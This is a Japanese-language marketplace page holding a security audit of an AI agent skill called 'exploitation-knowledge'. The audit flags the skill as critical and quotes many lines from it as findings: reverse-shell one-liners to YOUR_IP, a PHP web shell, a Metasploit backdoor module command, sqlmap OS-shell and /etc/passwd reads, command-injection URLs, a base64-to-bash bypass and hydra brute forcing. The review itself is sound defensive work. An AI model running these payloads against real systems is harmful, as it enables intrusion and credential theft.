📦
pentest-coordinator
38認可されたラボ侵入テストを調整する
侵入テストラボでは、偵察、エクスプロイト、権限昇格にわたる慎重な状態追跡が必要です。このスキルは、構造化されたメモ、試行、完了基準を用いて、認可されたラボワークフローを調整します。
セキュリティ＆コンプライアンス 表示
スキル exploitation-knowledge
📦
exploitation-knowledge
コンテンツリビジョン r1 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス
悪用手法とシェルアクセスの評価
セキュリティチームには、エクスプロイトのワークフローをレビューし、運用上のリスクを理解するための体系的な方法が必要です。このスキルは、管理されたラボまたは監査レビュー向けに、悪用手法、ペイロードの選択、アクセス後の確認を整理します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "exploitation-knowledge" from https://skillstore.io/skills/charleskozel-exploitation-knowledge.md and its manifest at https://skillstore.io/api/skills/charleskozel-exploitation-knowledge/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「exploitation-knowledge」を使用しています。 トレーニングコーディネーター向けにスキルを要約してください。
期待される結果:
このスキルは、エクスプロイト発見、ペイロード選択、シェル処理、アクセス後の検証を説明します。実行可能な攻撃手順が含まれるため、監督下のラボに限定すべきです。
「exploitation-knowledge」を使用しています。 最もリスクの高いコンテンツ領域を見つけてください。
期待される結果:
- リバースシェルのペイロードとリスナー設定は、直接的なシェルアクセスのリスクを生みます。
- Metasploitとエクスプロイトのダウンロード手順は、実践的な侵害ワークフローを可能にします。
- システムファイルの読み取りとフラグ取得手順は、侵害後のデータ収集を促します。
「exploitation-knowledge」を使用しています。 防御者向けにこのトピックを書き換えてください。
期待される結果:
ワークフローを検知エンジニアリングとして位置付けます。Webシェルの指標、異常なアウトバウンド接続、コマンドインジェクションのテレメトリ、認証情報の不正使用に対する制御に焦点を当てます。
セキュリティ監査
重大v9 • 2026/7/9 バージョン別レポートを開く
AI adjudication confirms that the skill is an operational exploitation playbook with reverse shells, Metasploit usage, command injection, credential testing, system file reads, and flag capture. Several markdown-only detections were marked false positive, but the confirmed static findings and semantic findings show high misuse potential. No prompt injection attempt was found in SKILL.md.
1
スキャンされたファイル
525
解析済み行数
97
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (23)
重大
Metasploit framework
- `msfconsole` - Metasploit framework
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
重大
Metasploit framework
# Layer 2: Metasploit framework
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
重大
Metasploit framework
#### B. Metasploit Exploits
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
重大
Metasploit framework
# Type 4: Tool-specific failure (e.g., Metasploit fails)
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
重大
Metasploit framework
- Bug in Metasploit module
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
重大
Metasploit framework
"tool": "metasploit",
The skill references Metasploit as part of exploit discovery, execution, or troubleshooting. Metasploit use is actionable offensive tooling in this context.
重大
Malware type keywords
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The Metasploit command selects a webmin_backdoor exploit module and configures a target and listener. This is direct backdoor exploitation guidance.
重大
System password file access
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
確認済みの23件をすべて表示
重大
System password file access
# Try: cat /etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
重大
System password file access
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The line directs reading /etc/passwd through SQLi, command injection, or a web shell. Accessing system password files after exploitation is a critical post-compromise behavior.
重大
Base64 decode to shell
- Base64: echo BASE64 | base64 -d | bash
The line recommends decoding Base64 and piping it to bash as a filter bypass. That is payload evasion for command execution.
重大
End-to-End Initial Access Workflow
The skill states that it converts vulnerabilities into access, establishes shells, and captures user flags. This is an operational compromise workflow, not only conceptual security education.
The purpose and success criteria explicitly include command execution, shell access, and user flag capture. Those goals confirm offensive intent beyond individual command patterns.
重大
Payload Evasion and Filter Bypass Guidance
The skill instructs users to adapt payloads when special characters, keywords, WAFs, or IDS controls block commands. This supports evasion of protective controls during exploitation.
The lines explicitly discuss encoding, command alternatives, WAF or IDS blocking, and slower approaches after timeouts. This is high-confidence evasion intent.
重大
Post-Compromise Data Capture Workflow
The skill directs users to locate, read, verify, and store user flag data after command execution. The output format also records user access and captured flag values.
The workflow repeatedly references finding user.txt, reading it, storing it, and reporting it as successful exploitation. This is explicit post-compromise data collection.
高
Network reconnaissance
- cat → head, tail, nl, more, less
The line provides alternatives such as /dev/tcp, telnet, or socat to keep network shell capability when commands are filtered. The category is broad, but the exploitation support is real.
高
Credential Abuse Guidance
The skill recommends hydra and default credential testing for SSH, FTP, MySQL, and web administration panels. This guidance can enable unauthorized credential attacks outside an approved lab.
The cited lines name brute-force tooling and give service-specific default credential attempts. The context is initial access, which makes the misuse risk clear.
中
System reconnaissance
id
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
中
System reconnaissance
whoami
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
中
System reconnaissance
curl http://TARGET/uploads/shell.php?cmd=id
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
中
System reconnaissance
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
中
System reconnaissance
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
中
System reconnaissance
curl http://TARGET/shell.php?cmd=id;whoami;pwd
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
中
System reconnaissance
3. **Verify success** - always test access with `id`, `whoami`
The command is used after exploitation to verify identity, shell context, or command execution. This is post-compromise reconnaissance.
機能レビュー項目 (97)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
Python subprocess.call
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
The Python snippet creates a socket to an attacker-controlled host and invokes /bin/bash with subprocess.call. This is a direct reverse shell payload.
重大
Python PTY spawn (shell access)
python3 -c 'import pty;pty.spawn("/bin/bash")'
The line explicitly spawns /bin/bash using Python pty after shell access. This improves interactive shell control during post-exploitation.
重大
Ruby/shell backtick execution
- `msfconsole` - Metasploit framework
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
重大
Ruby/shell backtick execution
- `sqlmap` - SQL injection
The section uses SQL injection tooling to test, obtain an OS shell, or read system files. This is actionable web exploitation guidance.
重大
Ruby/shell backtick execution
```python
The snippet adapts exploit code to embed a bash reverse shell payload. That is actionable payload construction.
重大
Ruby/shell backtick execution
```
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
重大
Ruby/shell backtick execution
```bash
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
重大
Ruby/shell backtick execution
```
The section directs Metasploit exploit search or execution. This is actionable exploitation tooling, not a benign administrative command.
重大
Ruby/shell backtick execution
```bash
The block provides ready reverse shell payloads for bash, Python, PHP, and netcat. These are direct shell access techniques.
重大
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
重大
Ruby/shell backtick execution
```bash
The section uses SQL injection tooling to test, obtain an OS shell, or read system files. This is actionable web exploitation guidance.
重大
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
重大
Ruby/shell backtick execution
```bash
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
重大
Ruby/shell backtick execution
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
重大
Ruby/shell backtick execution
```
The section tests command injection and escalates to reverse shell execution. These commands are directly actionable attack steps.
重大
Ruby/shell backtick execution
```bash
The commands execute target-side actions through a web shell, including file reads and identity checks. This is remote command execution guidance.
重大
Ruby/shell backtick execution
```
The section sets up background reverse shells using netcat and named pipes. This is direct shell maintenance behavior.
重大
Ruby/shell backtick execution
```bash
The section sets up background reverse shells using netcat and named pipes. This is direct shell maintenance behavior.
重大
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
重大
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
重大
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
重大
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
重大
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
重大
Ruby/shell backtick execution
```bash
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
重大
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
重大
Ruby/shell backtick execution
```
The section locates, reads, verifies, and stores user flag data after gaining command execution. This is post-compromise data capture.
重大
Ruby/PHP system() call
<?php system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); ?>
The PHP snippet calls system() with a bash reverse shell payload. This is directly usable web-shell code for remote command execution.
重大
Unix shell invocation
shell = "/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
The line defines a bash /dev/tcp reverse shell as an exploit payload. It is designed to obtain shell access from a target.
重大
Unix shell invocation
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
The line invokes /bin/bash from Python after opening a network socket. This is a direct reverse shell implementation.
重大
Unix shell invocation
nc YOUR_IP 4444 -e /bin/bash
The netcat command launches /bin/bash with -e for reverse shell access. This is direct remote shell behavior.
重大
Unix shell invocation
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
The named-pipe netcat command connects /bin/bash to a remote listener. This is a known reverse shell technique.
重大
Unix shell invocation
python3 -c 'import pty;pty.spawn("/bin/bash")'
The Python pty command upgrades a shell to an interactive bash session. It is explicit post-exploitation shell stabilization.
重大
Unix shell invocation
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
The named-pipe command bridges netcat to /bin/bash in the background. It provides persistent interactive shell handling.
重大
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --file-read=/etc/passwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
重大
Hardcoded URL
curl http://TARGET/shell.php?cmd=cat+/etc/passwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
重大
Hardcoded IP address
msfconsole -q -x "use exploit/linux/http/webmin_backdoor; set RHOSTS 10.10.10.1; set LHOST YOUR_IP;
The IP appears inside a Metasploit module command that configures a target and listener. The command is actionable exploit execution.
重大
Temp directory access
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
重大
Temp directory access
mkfifo /tmp/pipe
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
重大
Temp directory access
nc YOUR_IP 4444 < /tmp/pipe | /bin/bash > /tmp/pipe 2>&1 &
The temp path is used for named pipes that connect netcat to /bin/bash. That is a reverse shell mechanism, not harmless temporary-file use.
高
Process spawn
python3 -c 'import pty;pty.spawn("/bin/bash")'
The line spawns /bin/bash through Python pty as part of shell stabilization. That is actionable post-exploitation shell control.
高
Ruby/shell backtick execution
- `rlwrap nc` - Stabilize shells
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
高
Ruby/shell backtick execution
- `curl` - Manual web testing
The section uses HTTP tooling to upload, locate, or trigger a web shell. This supports unauthorized remote command execution if misused.
高
Ruby/shell backtick execution
- `hydra` - Service brute force (limited use)
The line lists hydra for credential brute forcing. Automated credential attacks are a real misuse risk.
高
Ruby/shell backtick execution
- `ssh`/`ftp`/`mysql` - Test discovered credentials
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
高
Ruby/shell backtick execution
```
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
高
Ruby/shell backtick execution
```bash
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
高
Ruby/shell backtick execution
```
The lines prepare netcat or rlwrap listeners for shell sessions. Listener setup is a necessary step for reverse shell exploitation.
高
Ruby/shell backtick execution
```bash
The section upgrades a basic shell into an interactive TTY. This is post-exploitation shell stabilization.
高
Ruby/shell backtick execution
```
The section upgrades a basic shell into an interactive TTY. This is post-exploitation shell stabilization.
高
Ruby/shell backtick execution
```bash
The section uses HTTP tooling to upload, locate, or trigger a web shell. This supports unauthorized remote command execution if misused.
高
Ruby/shell backtick execution
```
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
高
Ruby/shell backtick execution
```bash
The section recommends testing discovered or default credentials against services. This can enable unauthorized access when used outside a scoped lab.
高
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
高
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
高
Ruby/shell backtick execution
```bash
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
高
Ruby/shell backtick execution
```
The section probes target capabilities and writable paths after RCE to select payloads. This is exploitation preparation on a compromised target.
高
Ruby/shell backtick execution
```
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
高
Ruby/shell backtick execution
```
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
高
Ruby/shell backtick execution
```bash
The section chooses reverse shell methods and tests web-shell commands against a target. It includes payload adaptation and retry logic.
高
Shell command substitution
USER_FLAG=$(cat /home/username/user.txt)
The command substitution reads a user flag file and stores it in local state after compromise. That is post-exploitation data capture.
高
Template literal with command substitution
```bash
The command substitution reads a user flag file and stores it in local state after compromise. That is post-exploitation data capture.
高
Hardcoded URL
curl -F "file=@shell.php" http://TARGET/upload.php
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
gobuster dir -u http://TARGET/uploads -x php,phtml
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl http://TARGET/uploads/shell.php?cmd=id
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --batch --level=5 --risk=3
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
sqlmap -u "http://TARGET/page.php?id=1" --os-shell
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl "http://TARGET/ping.php?ip=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
wget https://raw.githubusercontent.com/user/repo/exploit.py
The command downloads an exploit proof of concept from a raw GitHub URL. Pulling unreviewed exploit code is a real supply-chain and misuse risk.
高
Hardcoded URL
curl "http://TARGET/shell.php?cmd=which nc"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl "http://TARGET/shell.php?cmd=which python3"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl "http://TARGET/shell.php?cmd=python3 -c 'import socket,subprocess...'"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl http://TARGET/shell.php?cmd=cd+/home;ls+-la
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded URL
curl http://TARGET/shell.php?cmd=id;whoami;pwd
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1;id"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1|whoami"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Hardcoded IP address
curl "http://TARGET/ping.php?ip=127.0.0.1`whoami`"
The URL appears in an actionable target-interaction command for upload, SQL injection, command injection, web-shell execution, or reverse shell setup. This is operational exploitation guidance.
高
Standard device file access
find / -name "user.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
高
Standard device file access
find /home -name "user.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
高
Standard device file access
find /home -name "*.txt" 2>/dev/null
The filesystem search is explicitly for user flag files after command execution is gained. This is post-compromise data discovery.
高
Non-standard device file access
ls -la /tmp /dev/shm /var/tmp
The line checks writable directories such as /tmp and /dev/shm after target RCE. Those locations are commonly used for payload staging.
中
Ruby/shell backtick execution
- `searchsploit` - Local exploit-db search
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
中
Ruby/shell backtick execution
```bash
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
中
Ruby/shell backtick execution
```bash
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
中
Ruby/shell backtick execution
```
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
中
Ruby/shell backtick execution
```bash
The command guidance searches for public exploit code and proof-of-concept material. In this skill it supports selecting attacks for target compromise.
中
Ruby/shell backtick execution
```bash
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
中
Ruby/shell backtick execution
```bash
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
中
Ruby/shell backtick execution
```
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
中
Ruby/shell backtick execution
- Check listener is running: `netstat -tlnp | grep 4444`
The troubleshooting guidance supports reverse shell operation and exploit dependency resolution. It is not standalone malware, but it enables offensive execution.
中
Ruby/shell backtick execution
- Install: `pip3 install requests pycrypto`
The troubleshooting guidance supports reverse shell operation and exploit dependency resolution. It is not standalone malware, but it enables offensive execution.
中
Ruby/shell backtick execution
```
The prose guides diagnosing failed exploits, switching payloads, and continuing exploitation attempts. It is operational offensive methodology.
中
Ruby/shell backtick execution
3. **Verify success** - always test access with `id`, `whoami`
The lines run an exploit and verify access with identity and working-directory commands. This is post-exploitation validation.
低
Hardcoded URL
curl -s "https://api.github.com/search/repositories?q=CVE-YYYY-XXXXX+exploit" | jq -r '.items[].html
The command queries GitHub for public exploit repositories. It is not credential exfiltration, but it supports acquisition of offensive proof-of-concept code.
低
Hardcoded URL
curl -s "https://api.github.com/search/repositories?q=CVE-2021-XXXX" | jq -r '.items[].html_url'
The command queries GitHub for public exploit repositories. It is not credential exfiltration, but it supports acquisition of offensive proof-of-concept code.
リスク要因
⚙️ 外部コマンド (50)
SKILL.md:160 SKILL.md:116 SKILL.md:160 SKILL.md:22 SKILL.md:23 SKILL.md:29 SKILL.md:32 SKILL.md:33 SKILL.md:38 SKILL.md:39 SKILL.md:49-72 SKILL.md:72-78 SKILL.md:78-93 SKILL.md:93-102 SKILL.md:102-105 SKILL.md:105-108 SKILL.md:108-111 SKILL.md:111-125 SKILL.md:125-131 SKILL.md:131-137 SKILL.md:137-143 SKILL.md:143-152 SKILL.md:152-158 SKILL.md:158-164 SKILL.md:164-170 SKILL.md:170-182 SKILL.md:182-186 SKILL.md:186-195 SKILL.md:195-199 SKILL.md:199-203 SKILL.md:203-207 SKILL.md:207-211 SKILL.md:211-223 SKILL.md:223-229 SKILL.md:229-241 SKILL.md:241-250 SKILL.md:250-260 SKILL.md:260-263 SKILL.md:263-278 SKILL.md:278-284 SKILL.md:284-305 SKILL.md:305-308 SKILL.md:308-324 SKILL.md:324-330 SKILL.md:330-357 SKILL.md:357-360 SKILL.md:360-368 SKILL.md:368-375 SKILL.md:375-384 SKILL.md:384-387
🌐 ネットワークアクセス (24)
SKILL.md:63 SKILL.md:172 SKILL.md:178 SKILL.md:181 SKILL.md:188 SKILL.md:191 SKILL.md:194 SKILL.md:201 SKILL.md:202 SKILL.md:203 SKILL.md:206 SKILL.md:216 SKILL.md:219 SKILL.md:310 SKILL.md:314 SKILL.md:318 SKILL.md:377 SKILL.md:380 SKILL.md:383 SKILL.md:100 SKILL.md:107 SKILL.md:201 SKILL.md:202 SKILL.md:203
📁 ファイルシステムへのアクセス (7)
検出されたパターン
Metasploit framework×6Malware type keywordsSystem password file access×3Base64 decode to shellSystem reconnaissance×7Network reconnaissance
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/charleskozel-exploitation-knowledge?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/charleskozel-exploitation-knowledge?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/charleskozel-exploitation-knowledge/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/charleskozel-exploitation-knowledge.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
CharlesKozel. (2026). exploitation-knowledge security audit report (audit version 9) [Author version unspecified]. Skillstore. https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9BibTeX形式の引用
@techreport{charleskozel-charleskozel-exploitation-knowledge-2026,
author = {CharlesKozel},
title = {exploitation-knowledge security audit report (audit version 9)},
institution = {Skillstore},
year = {2026},
number = {9},
url = {https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "exploitation-knowledge security audit report (audit version 9)"
version: "unspecified"
type: report
authors:
- name: "CharlesKozel"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/charleskozel-exploitation-knowledge/audits/9"
identifiers:
- type: other
value: "skillstore:charleskozel-exploitation-knowledge:audit:9"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
85
保守性
85
コンテンツ
72
コミュニティ
78
仕様準拠
作成できるもの
ラボでの悪用手順をレビューする
脆弱性発見から初期アクセス、アクセス後の検証まで、管理されたトレーニング演習を整理します。
攻撃的プレイブックを監査する
公開前に削除、書き換え、または制限すべき危険な悪用コンテンツを特定します。
防御的検知を準備する
列挙された悪用行動を、リバースシェル、Webシェル、コマンドインジェクション向けの検知アイデアに変換します。
これらのプロンプトを試す
安全な学習目標を要約する
管理されたセキュリティトレーニングラボ向けにこのスキルを要約してください。学習目標、安全上の境界、防御的レビューの観点に焦点を当ててください。
リスクの高いセクションを特定する
このスキルをレビューし、実行可能な悪用、シェルアクセス、認証情報の悪用、またはデータ取得のガイダンスを含むセクションを列挙してください。
防御的ガイダンスに変換する
悪用ワークフローを防御的な監視ガイダンスに変換してください。指標、ログ、制御、許可されたテスト範囲を強調してください。
公開に向けた改善計画を作成する
実行可能な攻撃手順を削除し、高レベルの教育内容を維持し、スコープ、承認、検知の文脈を追加する改善計画を作成してください。
ベストプラクティス
- このコンテンツは、許可されたラボ、管理された監査、または防御的なコンテンツレビューにのみ使用してください。
- 広く共有する前に、攻撃的手順を検知ロジックと緩和ガイダンスに変換してください。
- 教育資料を公開する前に、実行可能なペイロードと対象との対話手順を削除してください。
回避
- 明示的な書面による許可なしに、システムへのアクセスを得るためにこのスキルを使用すること。
- リバースシェルのペイロード、エクスプロイト実行手順、またはファイル読み取りコマンドを制限なしで公開すること。
- フラグ取得、認証情報テスト、またはシェル安定化を、一般目的の自動化として許容されるものとして扱うこと。
よくある質問
このスキルは自動インストールしても安全ですか？
いいえ。実行可能な悪用ガイダンスが含まれており、使用前に厳格なレビューが必要です。
主なセキュリティ上の懸念は何ですか？
このスキルは、エクスプロイト発見、シェルアクセス、コマンドインジェクション、アクセス後のデータ取得に関する実践的な手順を提供します。
防御的な作業に使用できますか？
はい。コンテンツを検知、緩和、許可されたラボ分析向けに再構成する場合は使用できます。
このスキルは承認チェックを強制しますか？
いいえ。スコープ検証、同意確認、または悪用を防ぐ技術的制御は含まれていません。
公開前に何を削除すべきですか？
実行可能なエクスプロイトコマンド、リバースシェルのペイロード、ファイル読み取り手順、フラグ取得ワークフロー、回避手順は削除すべきです。
誰がこのスキルをレビューすべきですか？
攻撃的セキュリティの知識を持つセキュリティレビュアーが、Marketplaceで配布する前にレビューすべきです。
開発者情報
作成者
CharlesKozelライセンス
MIT
Skillstore リビジョン
r1
バージョンに関する注意
作者はバージョンを宣言していません。
参照
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
メンテナンスの新しさ
2026/7/25
利用状況
8 ダウンロード · 307 閲覧
ファイル構成
📄 SKILL.md
CharlesKozel のその他のスキル
すべて表示📦
coordinator
38CTF ペネトレーションテストを調整
承認済みのセキュリティラボでは、偵察、エクスプロイト、権限昇格にわたる追跡が必要になることがよくあります。このスキルは、管理された CTF スタイルの評価において、エージェントへの委任と状態駆動の意思決定を調整します。
セキュリティ＆コンプライアンス 表示
📦
privilege-escalation-knowledge
38Linux の権限昇格経路を監査する
Linux の権限昇格レビューには、慎重な列挙と厳格な承認が必要です。このスキルは、管理されたラボおよび防御的監査向けに、一般的なチェック、リスクの高いベクトル、証拠取得を整理します。
セキュリティ＆コンプライアンス 表示
📦
reconnaissance-knowledge
38偵察ワークフローのマッピング
セキュリティチームには、許可された対象を体系的にインベントリ化する方法が必要です。このスキルは、管理された評価のために、偵察フェーズ、証拠の取得、レポート作成を整理します。
セキュリティ＆コンプライアンス 表示
関連スキル
すべて表示📦
web-security-testing
80OWASP Web セキュリティテストを実施
作成者 sickn33
Webチームには、リリース前に一般的なアプリケーションリスクを確認するための再現可能な方法が必要です。このスキルは、OWASPテストをフェーズ、プロンプト、レポート作成手順に整理します。
セキュリティ＆コンプライアンス 表示
📦
idor-testing
50IDOR アクセス制御をテストする
作成者 sickn33
IDOR の欠陥は、オブジェクト参照に所有者確認がない場合にプライベートなレコードを露出させます。このスキルは、承認済みのテスターに対して、発見、検証、報告、修復計画をガイドします。
セキュリティ＆コンプライアンス 表示
📦
sqlmap-database-pentesting
38sqlmapでSQLインジェクションを監査する
作成者 sickn33
SQLインジェクションテストには、慎重なスコープ設定、再現可能な確認、明確なレポート作成が必要です。このスキルは、許可を得たテスターに対して、検出から証拠レビューまでの体系的なsqlmapワークフローを提供します。
セキュリティ＆コンプライアンス 表示
📦
security-scanning-tools
38セキュリティスキャンワークフローの評価
作成者 sickn33
